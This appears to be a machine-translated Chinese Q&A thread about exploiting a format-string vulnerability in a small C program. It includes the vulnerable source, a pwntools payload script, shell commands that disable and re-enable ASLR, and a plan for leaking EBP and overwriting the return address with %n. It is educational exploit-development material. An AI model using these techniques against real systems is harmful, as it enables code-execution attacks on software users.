C格式字符串漏洞,如何获得缓冲区中的地址

问题描述:

我有一个程序,它循环读取stdin与fgets。整个读取循环位于一个函数中,我试图用printf漏洞覆盖该函数的返回地址。返回地址位于0xbffff0fc(它是0x2a20029e),堆栈上的缓冲区由输入AAAA(0x41414141)标识。C格式字符串漏洞,如何获得缓冲区中的地址

0xbffff0b0: 0x0000000a 0x00000020 0xb7fc7c20 0xb7e4fd94 
0xbffff0c0: 0xb7fc73cc 0xbffff0dc 0x41414141 0x66740000 
0xbffff0d0: 0x785c2220 0x785c3439 0x785c3739 0x785c3430 
0xbffff0e0: 0x29223830 0xb7fc0000 0x5da95700 0x00000000 
0xbffff0f0: 0x00000000 0xb7fc7000 0x00000000 0x2a20029e 

所以从我的理解,我需要在缓冲区中的写入0xbffff0fc,然后我可以使用%×6%$ N(k为整数)写入0xbffff0fc任意值。

所以输入看起来是这样的:< 0xbffff0fc>%x%6 $ n。我遇到的问题是如何编写< 0xbffff0fc>,以便它在堆栈上是0xbffff0fc。单独使用ASCII字符我无法真正做到这一点。

编辑:添加的程序

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int function1() 
{ 
    char line[32]; 
    size_t size; 
    while(1) 
    { 
    if (!fgets(line, sizeof(line), stdin)) 
    { 
     return 0; 
    } 

    size = strlen(line); 
    line[size - 1] = '\0'; 
    printf(line); 
    printf("\n"); 
    } 
    return 0; 
} 

int main(int argc, char** argv) 
{ 
    function1(); 
    return 0; 
} 
+0

我添加了代码,并没有真正认为这是必要的问题。 –

高兴地看到,人们问的安全问题在这里。 我想你可以看看pwntools

这是一个写作漏洞的工具。 这是一个简单的代码片段。

#!/usr/bin/env python2 
from pwn import * 
# a.out is your executable file 
s = process('./a.out') 
payload = p32(0xbffff0fc)+"%7$p" 
# p32() is a function to pack your integer in little endian order 
s.sendline(payload) 
s.interactive() 

的输出将是一些不可打印的字符加0xbffff0fc

▒▒0xbffff0fc

为了进一步说明,line变量已经在堆栈。 但是,您必须禁用ASLR保护才能使您的堆栈地址得到修复。 否则,每次执行程序。 你的线路变量地址会有所不同。

禁用它:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

启用:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

但是,我不认为你的问题将是如何写0xbffff0fc堆栈。 你的问题应该是如何获得启用ASLRline的变量地址。

这是策略。

  1. 泄漏栈帧的EBP,那么你可以计算line变量的地址。(这部分是重要

  2. 执行以前的样品一样的东西利用。

  3. 然后,使用%n来重写函数的返回地址。

如果您有疑问,请随时问我。

+0

感谢它使用这个惊人的工具。 –

+0

没问题。兄弟。 – bananaappletw